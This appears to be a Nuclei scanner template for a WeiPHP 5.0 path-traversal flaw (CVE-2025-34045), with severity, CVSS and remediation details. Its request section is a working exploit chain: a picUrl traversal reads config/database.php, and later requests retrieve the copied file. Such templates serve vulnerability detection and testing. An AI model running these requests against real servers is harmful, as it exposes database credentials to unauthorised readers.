WeiPHP 5.0 - Path Traversal

id: CVE-2025-34045

info:
  name: WeiPHP 5.0 - Path Traversal
  author: pikpikcu
  severity: high
  description: |
    WeiPHP 5.0 contains a path traversal caused by insufficient input validation of the picUrl parameter in /public/index.php/material/Material/_download_imgage, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files including database configuration files through path traversal in the picUrl parameter, potentially exposing sensitive credentials.
  remediation: |
    Upgrade to WeiPHP version 5.1 or later that properly validates file paths in the Material API.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
    - https://vulncheck.com/advisories/weiphp-path-traversal-file-read
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  metadata:
    max-request: 3
  tags: cve,cve2025,weiphp,lfi,vuln,vkev

http:
  - raw:
      - |
        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        "1":1

      - |
        GET /public/index.php/home/file/user_pics HTTP/1.1
        Host: {{Hostname}}

      - |
        GET {{endpoint}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: endpoint
        part: body
        regex:
          - '/public/uploads/picture/(.*.jpg)'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - https://weiphp.cn
          - WeiPHP
          - DB_PREFIX
        condition: and
# digest: 4a0a00473045022100f97b7d4a357ce9b4ccde9c4fda20aeca2fa0a0cf877b60c2879d8b275b117dd50220017e46ea405867f9f4ebbedbe4ea25be4fa5a4cdec973c0b20ff76cb0bc25e1e:922c64590222798bb761d5b6d8e72950